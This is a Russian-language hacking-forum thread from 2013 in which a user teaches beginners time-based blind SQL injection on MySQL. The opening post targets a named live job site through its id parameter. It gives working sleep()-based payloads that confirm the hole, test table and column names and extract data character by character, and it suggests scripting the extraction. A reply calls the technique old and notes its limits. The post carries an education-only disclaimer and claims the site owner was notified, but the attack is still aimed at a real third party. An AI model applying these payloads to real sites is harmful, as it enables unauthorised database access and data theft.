MySql Injection Time Based

Discussion in 'Уязвимости' started by YaBtr, 16 Sep 2013.

  1. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    Всем привет!Накидал небольшую заметку о замечательной технике раскрутки слепых SQL инъекций, так называемой Injection Time Based.
    Много вопросов по данной теме, постараюсь наглядно объяснить.Многие, кто сталкиваются с данной инъекцией, в основном останавливаются на пол пути.

    Данная заметка ориентирована на новичков, дабы исключить все это множество вопросов по данной теме.

    Итак,многоуважаемый Dr.Z3r0 в своей статье упоминал о том, как с помощью функции sleep можно посимвольно вытаскивать данные.
    Напомню, оператор sleep появился с 5 ветки MySQL. Он создает задержку в ответе веб-сервера, которую мы и используем.

    Поехали! Сайт www.cornerjob.co.za/view-job.php?id=678. Уязвимый get-параметр id.
    Проверяем: id=678 and sleep(5)

    [​IMG]

    В 1-ом варианте время отклика (response time) небольшое, в то время,как во 2-м случае значительно увеличивается благодаря sleep.

    Далее! Опеределим версию mysql (хотя нам она уже известна, так как sleep появился с 5-ой версии). Давайте проверим :)

    [​IMG]

    Точно так же работаем с user(), database():
    id=678 and if(substring(user(),1,1)='a',SLEEP(5),1)

    Пару слов о таблицах и колонках:

    id=678 and if(substring((select 1 from [table_name] limit 0,1),1,1)=1,SLEEP(5),1), где [table_name] - предполагаемое Вами название таблицы.
    Если вернется ЛОЖЬ, то ответ сервера будет 0 секунд (все зависит от Вашего канала) и такой таблицы нет.
    Если же ИСТИНА, и такая таблица существует, то ответ будет с задержкой в 5 секунд (и более).

    С колонками все идентично:
    id=678 and if(substring((select substring(concat(1,[column_name]),1,1) from [table_name] limit 0,1),1,1)=1,SLEEP(5),1) , где [column_name] - предполагаемое Вами название колонки.

    И, наконец, достаем данные:
    id=678 and if((select mid(column_name,1,1) from table_name limit 0,1)='a',sleep(5),1)

    Как только поймете, как это работает - написать скрипт, автоматизирующий данный процесс, не составит труда.
    Всем добра :)
    С уважением,YaBtr!

    Данная заметка предназначена для использования сугубо в учебных целях. Автор не несет ответственности за использование материала в незаконных целях.
    Администрация ресурса была уведомлена о данной уязвимости.
     
  2. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Прости, дружище, но это боян.

    Если ты заметил - я пытался рассмотреть эту технику в своём видео.

    И столкнулся с тем, что простой бинарный поиск и так все умеют делать, рассказывать там нечего.

    И да, если MQ on то твоя техника уже не рулит, пишешь не универсальную методику. Это плохо. Постарайся всё предусмотреть.
     
    _________________________